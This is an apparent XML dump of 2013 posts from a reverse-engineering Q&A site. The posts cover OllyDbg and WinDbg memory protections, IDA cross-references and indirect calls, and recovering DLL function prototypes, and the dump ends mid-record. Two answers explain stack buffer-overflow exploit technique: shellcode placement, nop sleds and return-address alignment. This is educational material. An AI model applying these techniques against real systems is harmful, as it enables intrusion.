  <row Id="2123" PostTypeId="1" AcceptedAnswerId="2141" CreationDate="2013-05-28T14:52:22.493" Score="5" ViewCount="2181" Body="&lt;p&gt;I'm looking for a way to view memory permissions on a specific section of memory using OllyDbg (technically I'm using Immunity but I'm assuming if it exists in Olly it'll be the same there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program I'm looking at is calling VirtualProtect to make a block of code go RW-&gt;RWE, but the result looks like the protection is extending to 4 bytes before the address passed in as a parameter. I checked the MSDN and it said that there is a rounding/boundary extension with t VirtualProtect with respect to the size, but it doesn't say specifically how the extensions get propagated across pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confident that's what's happening but I wanted to look at the memory permissions for the specific segment to confirm. It doesn't look like the Memory map refreshes after the call to VP and I couldn't find another place to show the memory permissions. On WinDbg I can do something like !vprot so I was curious if there was something similar here.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2013-05-30T18:06:53.217" Title="Viewing memory permissions in Ollydbg for memory segments" Tags="|windows|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostTypeId="2" ParentId="2123" CreationDate="2013-05-28T15:27:38.060" Score="2" Body="&lt;p&gt;I don't think there's another way to do it in Olly (barring plugins) but you can refresh the map using &quot;Actualize&quot; in the context menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use another program like &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/dd535533.aspx&quot; rel=&quot;nofollow&quot;&gt;VMMap&lt;/a&gt;, or possibly even WinDbg in non-intrusive mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permissions only apply to whole pages, so any address you pass will be rounded down and the size will be rounded up to a page boundary (1000 hex).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-28T15:27:38.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostTypeId="2" ParentId="2118" CreationDate="2013-05-28T15:53:04.720" Score="2" Body="&lt;p&gt;Regarding the first question, nothing is stopping you to put your shellcode wherever in that process' executable memory. For example, a common practice is(was, to be honest) to put shellcode in some environment variable, as (in absence of ASLR) their address can be perfectly caluclated. In that case you wouldn't have to guess the return address, but calculate the address where shellcode is in environment and use that address as return address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This trick has the added benefit of not being limited by the buffer size. But, on the other hand, it obviously works only for local exploits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why shellcode is often in the same buffer that overwrites the original return address is that it's just convenient and easier to explain in the beginning. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-05-28T15:53:04.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostTypeId="1" AcceptedAnswerId="2128" CreationDate="2013-05-28T16:36:23.640" Score="10" ViewCount="15267" Body="&lt;p&gt;I am reverse engineering some code from which IDA has generated the following disassembly. These specific lines of code are just for illustrative purposes. Notice that the third line does not call a specifc function by its name but rather by its address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes &#xA;mov r8, [rcx]                 // the address at reg CX is stored to reg r8&#xA;call qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm interested in determining which function is being called. What mechanisms, tools, tricks, etc. can I use to determine which function in the dissassembly a call &lt;code&gt;qword ptr &amp;lt;address&amp;gt;&lt;/code&gt; is referring to? I'm up for trying other disassembler programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an answer to my &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2119/what-to-do-when-ida-cannot-provide-a-function-name&quot;&gt;previous question&lt;/a&gt;, this is known as an &quot;indirect call&quot; or (perhaps a &quot;virtual function call&quot;). The disassembly has many of these, so how do I resolve them? In addition, IDA has identified hundreds of functions. How do I go about figuring out which one was actually being called during any given indirect call (or virtual call)? &lt;/p&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-05-28T16:52:45.233" Title="How to identify function calls in IDA Pro's disassembly?" Tags="|ida|disassembly|virtual-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostTypeId="2" ParentId="2127" CreationDate="2013-05-28T16:52:45.233" Score="11" Body="&lt;p&gt;The easiest way to find out the function in question would probably be by dynamic analysis. You can easily do this by placing a breakpoint on that instruction in a debugger and examining the registers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more general solution would probably involve some scripting to record all calls and add that information to the IDA database. &lt;a href=&quot;https://github.com/deresz/funcap&quot;&gt;Funcap&lt;/a&gt; plugin does something similar if not exactly what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA's inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function's arguments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-05-28T16:52:45.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostTypeId="2" ParentId="2118" CreationDate="2013-05-28T18:03:46.050" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does the return address have to point to the shellcode in the same buffer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't, but generally, both the shellcode and the return address are delivered at the same time, so they are stuck together for that reason.  If your exploit allows you to deliver them separately, then they can be separated.  However, they are by necessity both local to the exploited process, because the return address is local to the process.  Once the shellcode gains control, it can jump across process boundaries, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the reason for putting the shellcode first is because that's where the exploited buffer is.  The stack image looks like this: buffer variable, other variables, return address.  The shellcode gets placed into the buffer, the other variables are overwritten with the nop sled, if needed, and then the return address is modified.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How is the return address on the buffer perfectly aligned with the original one so the ret command will read the correct address and not read it from the middle for example&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Stacks are aligned to 4 bytes in 32-bit mode, variables are also placed on 4-byte aligned addresses, and their size is padded to align to a multiple of 4 bytes, so a one-byte char takes up 4 bytes on the stack, a buffer of 121 bytes will take up  124 bytes on the stack, etc.&#xA;All the exploit writer has to do is to pad the shellcode+nop sled until it is aligned to a multiple of 4 bytes, and then place the return address.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="18317" LastEditDate="2017-05-16T16:19:45.377" LastActivityDate="2017-05-16T16:19:45.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostTypeId="1" AcceptedAnswerId="2131" CreationDate="2013-05-28T19:21:45.277" Score="6" ViewCount="4351" Body="&lt;p&gt;In the IDA view I see (&lt;code&gt;glb_SomeVar&lt;/code&gt; is a byte array):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp al, glb_SomeVar+22h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I hit &lt;kbd&gt;x&lt;/kbd&gt; to find the cross references of glb_SomeVar, I only find two other matches in the same function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp al, glb_SomeVar+0Ah&#xA;cmp al, glb_SomeVar+0Bh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this, like making IDA re-analyze the selected function or even the whole code? I guess at other places, there are cross references missing too.&lt;/p&gt;&#xA;" OwnerUserId="1449" LastActivityDate="2015-12-20T05:35:05.983" Title="IDA is not recognizing cross references" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostTypeId="2" ParentId="2130" CreationDate="2013-05-28T20:27:19.690" Score="10" Body="&lt;p&gt;Edit -&gt; Global -&gt; Cross-references -&gt; Cross reference depth. Increase as applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/607.shtml&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    This value &quot;how many bytes of an object to look at to collect&#xA;    cross references&quot;. For example we have an array:&#xA;            A       db 100 dup(0)&#xA;    If some instruction refers to the 5-th element of the array:&#xA;            mov     al,A+5&#xA;     with TD=3      we'll have no xrefs displayed&#xA;     with TD=10     we'll have this xref&#xA;&#xA;   IDA.CFG parameter: MAX_TAIL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;TD&quot; here refers to &quot;tail depth&quot; (old name of the setting)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-28T20:27:19.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2133" PostTypeId="1" AcceptedAnswerId="2154" CreationDate="2013-05-29T16:04:24.183" Score="19" ViewCount="15204" Body="&lt;p&gt;The title says most of it. Say I have a Windows PE (x86, 32bit) binary (just so we have case to discuss), the imports list will usually only show the imports found in the import directory. The attributes it shows are address of the function, name and library from which it got imported as shown in this screenshot snippet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYZWX.png&quot; alt=&quot;Screenshot of import tab in IDA Pro&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me through scripting (IDC or Python, I don't care too much), to add imports of my own to the list and, for example, have them point (the address attribute) to code such as this (highlighted line)?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lUw2.png&quot; alt=&quot;Dynamically imported function in IDA Pro&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. the line would in such case look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0DCBA987     GetLongPathNameW       kernel32.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even just&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0DCBA987     GetLongPathNameW       ???&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assuming the above &lt;code&gt;call GetProcAddress&lt;/code&gt; would be at address &lt;code&gt;0DCBA987&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage to me would be readability. But it would also yield a more comprehensive list of imports (and consequently xrefs) as some functions are frequently imported dynamically due to their availability in the various Windows versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be quite trivial given a certain binary to figure out all xrefs to candidate functions that retrieve the imported function's address (such as &lt;code&gt;GetProcAddress&lt;/code&gt;) and then walk their calls to find which function was imported. The DLL part may be more complicated to find out, but it could be left empty or entered manually. But I didn't find a function that would allow me to add imports. Is there a way?&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="2147" LastEditDate="2018-10-02T20:03:56.680" LastActivityDate="2018-10-02T20:03:56.680" Title="In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?" Tags="|ida|idapython|import-reconstruction|ida-plugin|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostTypeId="1" AcceptedAnswerId="2135" CreationDate="2013-05-29T21:00:14.810" Score="23" ViewCount="35461" Body="&lt;p&gt;I have an unknown .dll from another program which I want to work with. With &lt;a href=&quot;http://www.nirsoft.net/utils/dll_export_viewer.html&quot;&gt;DLL Export Viewer&lt;/a&gt; I was able to find the exported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIDYL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to call them I need the information about the parameters and the return type. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there an easy way to identify them in the disassembly?&lt;/li&gt;&#xA;&lt;li&gt;Do tools exist which can extract those prototypes, or help me in a way?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-05-30T04:39:03.197" Title="Get the function prototypes from an unknown .dll" Tags="|windows|dll|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostTypeId="2" ParentId="2134" CreationDate="2013-05-30T04:31:20.603" Score="31" Body="&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I am assuming 32bit x86 on Windows, your question unfortunately doesn't state for certain. But since it's Windows and you don't explicitly mention x64 this was the sanest assumption I could make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, try to search for the function names with a search engine. Don't just settle for a single search engine. Failing that, inspect whatever came in the package with the DLL. Are there import LIBs included? If so, use these to provide clues (may or may not work).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Otherwise ...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Most disassemblers (read the tag wiki &lt;a href=&quot;/questions/tagged/tools&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;tools&amp;#39;&quot; rel=&quot;tag&quot;&gt;tools&lt;/a&gt;) will readily show you exported functions. So &lt;em&gt;locating&lt;/em&gt; them won't be a problem at all. They will also usually be shown with their exported names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the output your screenshot shows, it looks like the names aren't &lt;a href=&quot;https://en.wikipedia.org/wiki/Name_mangling&quot; rel=&quot;noreferrer&quot;&gt;mangled/decorated&lt;/a&gt;. This suggests - but is &lt;em&gt;not&lt;/em&gt; conclusive &lt;em&gt;proof&lt;/em&gt; - that the functions use the &lt;code&gt;stdcall&lt;/code&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;noreferrer&quot;&gt;calling convention&lt;/a&gt; (better yet read &lt;a href=&quot;http://code.google.com/p/corkami/wiki/CallingConventions&quot; rel=&quot;noreferrer&quot;&gt;this one by Ange&lt;/a&gt;, one of the moderators pro temp here). Now I don't know how much you know, but since you attempt RCE you are probably well-versed in calling conventions. If not let's sum it up like this: calling conventions govern how (order, alignment) and by what means (registers, stack) parameters get passed to functions. We'll get back to this in a moment. If you are on x64 Windows and the DLL is 64bit as well, you can rely on the Microsoft x64 calling convention (read &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;noreferrer&quot;&gt;this article&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Now there are two main routes you can take&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Route 1 - analyze a program using the DLL&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you happen to have a program that uses the DLL in question, you can use a debugger or disassembler to find out both the calling convention and the number of parameters passed. Simply look out for &lt;code&gt;call&lt;/code&gt; instructions referencing the exported DLL functions and find &lt;code&gt;mov&lt;/code&gt; or &lt;code&gt;push&lt;/code&gt; instructions in front. If you happen to come across &lt;code&gt;cdecl&lt;/code&gt; functions, the stack pointer (&lt;code&gt;esp&lt;/code&gt;) will be adjusted again after the &lt;code&gt;call&lt;/code&gt;. It's possible this is the case (see below for an example), but as unlikely as the various compiler-specific &lt;code&gt;fastcall&lt;/code&gt; variants, since &lt;code&gt;stdcall&lt;/code&gt; provides the broadest possible compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The methods outlined below in the second approach will also explain some of the concepts introduced here in greater detail.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Route 2 - analyzing the DLL itself&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you happen to have IDA and you analyze a 32bit DLL, chances are that IDA already identified the number of parameters and the calling convention using its heuristics. Let me demonstrate (using &lt;code&gt;sqlite3.dll&lt;/code&gt;). In the Exports tab find a function you're interested in and double-click it. This will take you to the address where the function starts (here &lt;code&gt;sqlite3_open&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jdRup.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see IDA readily found that the function takes two arguments (you can look at &lt;a href=&quot;http://www.sqlite.org/c3ref/open.html&quot; rel=&quot;noreferrer&quot;&gt;the SQLite3 docs&lt;/a&gt; to verify this finding). However, there is another thing here. After the &lt;code&gt;call sqlite3_open_v2_0&lt;/code&gt; we can see that the stack pointer is adjusted by 10h (=16) thereby cleaning up four parameters. Looking at the &lt;code&gt;push&lt;/code&gt; instructions before the &lt;code&gt;call&lt;/code&gt; we can see that indeed four 32bit (i.e. DWORD) parameters are passed via the stack.&#xA;Since there is no further cleanup on part of the function &lt;code&gt;sqlite3_open&lt;/code&gt; itself, it is now clear that it is likely following the C calling convention (&lt;code&gt;cdecl&lt;/code&gt;) as well. Again we can verify the finding (a benefit you won't have) by looking at the documentation. And indeed since no explicit calling convention is given, you end up defaulting to &lt;code&gt;cdecl&lt;/code&gt;. The single &lt;code&gt;retn&lt;/code&gt; (some disassemblers will show &lt;code&gt;ret&lt;/code&gt;), meaning &lt;code&gt;return&lt;/code&gt;, also doesn't clean up the stack, since otherwise it would look like &lt;code&gt;retn 8&lt;/code&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a rather small function, but even with the circumstantial information we are able to deduce a lot about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for something &lt;code&gt;stdcall&lt;/code&gt;, a case you are more likely to encounter as mentioned before. And why not go for something famous, like, say, &lt;code&gt;kernel32.dll&lt;/code&gt; from Windows 7? Again, I'll take a trivial function as it is better to showcase the points. Note that I told IDA not to make use of the debug symbols from Microsoft and to skip using FLIRT signatures. This means some of the good stuff that kicks in by default is being suppressed to show how to identify what's going on. Look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZ9Di.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green lines are uninteresting for our case, but you'll encounter them a lot. It is commonly found in several compilers and &lt;code&gt;ebp&lt;/code&gt; is commonly referred to as &quot;frame pointer&quot; (frame as in stack frame), basically an offset on which to base access to the stack variables. You can see a typical use in the line &lt;code&gt;push [ebp+arg_0]&lt;/code&gt;. IDA figured this out and shows us &lt;code&gt;Attributes: bp-based frame&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We see no adjustment of the stack pointer after &lt;code&gt;call sub_77E29B80&lt;/code&gt;, so it looks like that (internal) function follows the &lt;code&gt;stdcall&lt;/code&gt; calling convention as well. However, the &lt;code&gt;ret 4&lt;/code&gt; hints that the callee (i.e. the function &lt;code&gt;AddAtomA&lt;/code&gt; in this case) is meant to clean up the stack, which means we can exclude &lt;code&gt;cdecl&lt;/code&gt; as a possibility. It's four bytes because that is the &quot;natural&quot; size on a 32bit system. You can also see from my inline comments, that parameters are passed on the stack in reverse. But you should know such things anyway before engaging in RCE, otherwise read up in the above linked articles and in some books such as &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1755/245&quot;&gt;those here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case we could dare to make another assumption, but it could bite us. Say this was Microsoft's &lt;code&gt;fastcall&lt;/code&gt; convention (keep in mind that they vary by compiler), then the registers &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt; would be used, followed by arguments passed on the stack. This means that in our case we might want to assume that this can't be the case, because those registers aren't saved before calling &lt;code&gt;sub_77E29B80&lt;/code&gt;. This is a good argument for machine-generated code such as this one. However, were this hand-optimized code, the programmer could rely on the knowledge about the calling convention and skip saving/restoring the registers before/after the &lt;code&gt;call&lt;/code&gt;. Still, in this case hand-optimized code would be less likely (or unlikely) to make use of the frame pointer. It's three instructions that aren't strictly needed to do the job. So arguing like this - even without prior knowledge - we could now set out to write a little program using the prototype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall AddAtomA(void* unknown)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use a debugger to see &lt;em&gt;what&lt;/em&gt; gets passed. It's generally a tedious process, but a lot of the process - especially finding the number of parameters - can likely be scripted. Also, once you have a single function figured out, it's likely that the calling convention would be the same (exceptions exist, of course) throughout the DLL. Just make sure you analyze a function taking at least one parameter, otherwise you won't be able to distinguish between &lt;code&gt;stdcall&lt;/code&gt; and &lt;code&gt;cdecl&lt;/code&gt; from the circumstantial data.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Route X - the ugly one&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can also simply use &lt;code&gt;dumpbin&lt;/code&gt; or a similar tool to script the creation of a test program. This test program would then call the function, check the stack pointer before and after and could thereby distinguish between &lt;code&gt;stdcall&lt;/code&gt; and &lt;code&gt;cdecl&lt;/code&gt;. You could also play tricks like passing 20 arguments on the stack (if you want to assume &lt;code&gt;stdcall&lt;/code&gt; for the experiment) and see how much of that your callee cleaned up. There are loads of possibilities to simply try instead of analyze. But you'll get better (more reliable) results with the first two approaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to build an import LIB because you don't want to use &lt;code&gt;GetProcAddress&lt;/code&gt;, see &lt;a href=&quot;https://stackoverflow.com/a/15117763/476371&quot;&gt;this answer by me over on StackOverflow&lt;/a&gt;. It shows how to build an import LIB  just from the DLL.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The methods won't differ too much with other disassemblers, I just needed to show things in a way you can reproduce them, that's why I went with IDA. The freeware edition of IDA will likely be sufficient (32bit, PE, x86) - keep in mind it's not permissible for commercial use, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots taken from IDA 6.4.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-05-30T04:39:03.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostTypeId="2" ParentId="2036" CreationDate="2013-05-30T14:22:06.123" Score="3" Body="&lt;p&gt;I do not know of a disassembler that will do this, but I have written a Java decompiler that has a bytecode output mode.  It is open source, and it would be easy enough to modify to suit your needs.  Feel free to check it out &lt;a href=&quot;https://bitbucket.org/mstrobel/procyon/overview&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2013-05-30T14:22:06.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2138" PostTypeId="2" ParentId="1370" CreationDate="2013-05-30T14:26:11.060" Score="41" Body="&lt;p&gt;There is the open source Java decompiler, &lt;a href=&quot;https://github.com/mstrobel/procyon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Procyon&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have not tested it against any obfuscated code, but I have seen it decompile many methods that JD-GUI failed to handle. Note that it's a work in progress, and I'm sure you will find plenty of code that it will fail to decompile.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastEditorUserId="40636" LastEditDate="2022-03-14T16:54:02.800" LastActivityDate="2022-03-14T16:54:02.800" CommentCount="5" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 4.0" />
  <row Id="2139" PostTypeId="1" CreationDate="2013-05-30T14:53:19.107" Score="7" ViewCount="3366" Body="&lt;p&gt;I have a binary with lots of indirect calls (&lt;code&gt;call dword ptr [register + offset ]&lt;/code&gt;) the register is calculated with a simple math which I manage to statically calculate on my own (the call itself lead to some winapi calculated from the current offset)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whenever I try to use &lt;code&gt;AddCodeRefs (ins, winapi, XREF_USER | fl_CN/f)&lt;/code&gt; to this data my graph turns out wrong and all the basic blocks become one instruction per basic block; when I try to do the reverse, IDA (logically :/) thinks that the data is really code and reinterprets all of the section to be garbage code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - Is it possible to create data xrefs from code manually ? &lt;code&gt;AddCodeRefs&lt;/code&gt; seem to spoil the graph and I couldn't find any &lt;code&gt;AddDataRefs&lt;/code&gt;, I'm using IDA 6.4.&lt;/p&gt;&#xA;" OwnerUserId="2139" LastEditorUserId="53" LastEditDate="2013-05-30T15:17:20.993" LastActivityDate="2013-06-26T03:54:14.003" Title="Is it possible to create data xrefs manually?" Tags="|ida|python|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2141" PostTypeId="2" ParentId="2123" CreationDate="2013-05-30T18:06:53.217" Score="4" Body="&lt;p&gt;&lt;code&gt;ollydbg 1.10&lt;/code&gt; automatically refreshes the memory window when protection attributes are changed if the address that is passed on to VirtualProtect lies in the first allocated page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if subsequent page's attributes were changed using Virtualprotect ollydbg's memory window wont reflect them as it shows the complete allocated Size as one contiguous dump  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;windbg &lt;code&gt;!vprot&lt;/code&gt; will show the modified protection attributes only if you traverse page by page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;ollydbg 2.01&lt;/code&gt; memory window will show attribute changes page by page automatically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _tmain(int argc, _TCHAR* argv[])&#xA;{&#xA;    printf(&quot;lets valloc \n&quot;);&#xA;    PCHAR foo;&#xA;    foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);&#xA;    printf(&quot;we valloced lets vprot\n&quot;);&#xA;    DWORD oldprot;&#xA;    if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&amp;amp;oldprot) == FALSE) )&#xA;    {&#xA;        printf(&quot;our vprot failed\n&quot;);&#xA;        return FALSE;&#xA;    }&#xA;    if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&amp;amp;oldprot) == FALSE) )&#xA;    {&#xA;        printf(&quot;our vprot failed\n&quot;);&#xA;        return FALSE;&#xA;    }&#xA;    printf(&quot;we vprotted fine \n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ollydbg 1.10 memory window Display will be same after VirtualAlloc and after first Virtualprotect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;display will change only after second VirtualProtect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory map, item 19&#xA; Address=003A0000&#xA; Size=00002000 (8192.)&#xA; Owner=         003A0000 (itself)&#xA; Section=&#xA; Type=Priv 00021002&#xA; Access=R&#xA; Initial access=R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after second Virtualprotect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory map, item 19&#xA; Address=003A0000&#xA; Size=00002000 (8192.)&#xA; Owner=         003A0000 (itself)&#xA; Section=&#xA; Type=Priv 00021040&#xA; **Access=RWE**&#xA; Initial access=R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windbg will show changed attribute only if traversed page by page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; g&#xA;ModLoad: 5cb70000 5cb96000   C:\WINDOWS\system32\ShimEng.dll&#xA;Breakpoint 0 hit&#xA;&amp;gt;    8: {&#xA;0:000&amp;gt; p&#xA;&amp;gt;    9:     printf(&quot;lets valloc \n&quot;);&#xA;0:000&amp;gt; p&#xA;&amp;gt;   11:     foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);&#xA;0:000&amp;gt; p&#xA;&amp;gt;   12:     printf(&quot;we valloced lets vprot\n&quot;);&#xA;0:000&amp;gt; ?? foo&#xA;char * 0x003a0000&#xA; &quot;&quot;&#xA;0:000&amp;gt; !vprot @@c++(foo)&#xA;BaseAddress:       003a0000&#xA;AllocationBase:    003a0000&#xA;AllocationProtect: 00000002  PAGE_READONLY&#xA;RegionSize:        00002000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              00020000  MEM_PRIVATE&#xA;0:000&amp;gt; p&#xA;&amp;gt;   14:     if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&amp;amp;oldprot) == FALSE) )&#xA;0:000&amp;gt; p&#xA;&amp;gt;   19:     if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&amp;amp;oldprot) == FALSE) )&#xA;0:000&amp;gt; !vprot @@c++(foo)&#xA;BaseAddress:       003a0000&#xA;AllocationBase:    003a0000&#xA;AllocationProtect: 00000002  PAGE_READONLY&#xA;RegionSize:        00001000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              00020000  MEM_PRIVATE&#xA;&#xA;0:000&amp;gt; !vprot 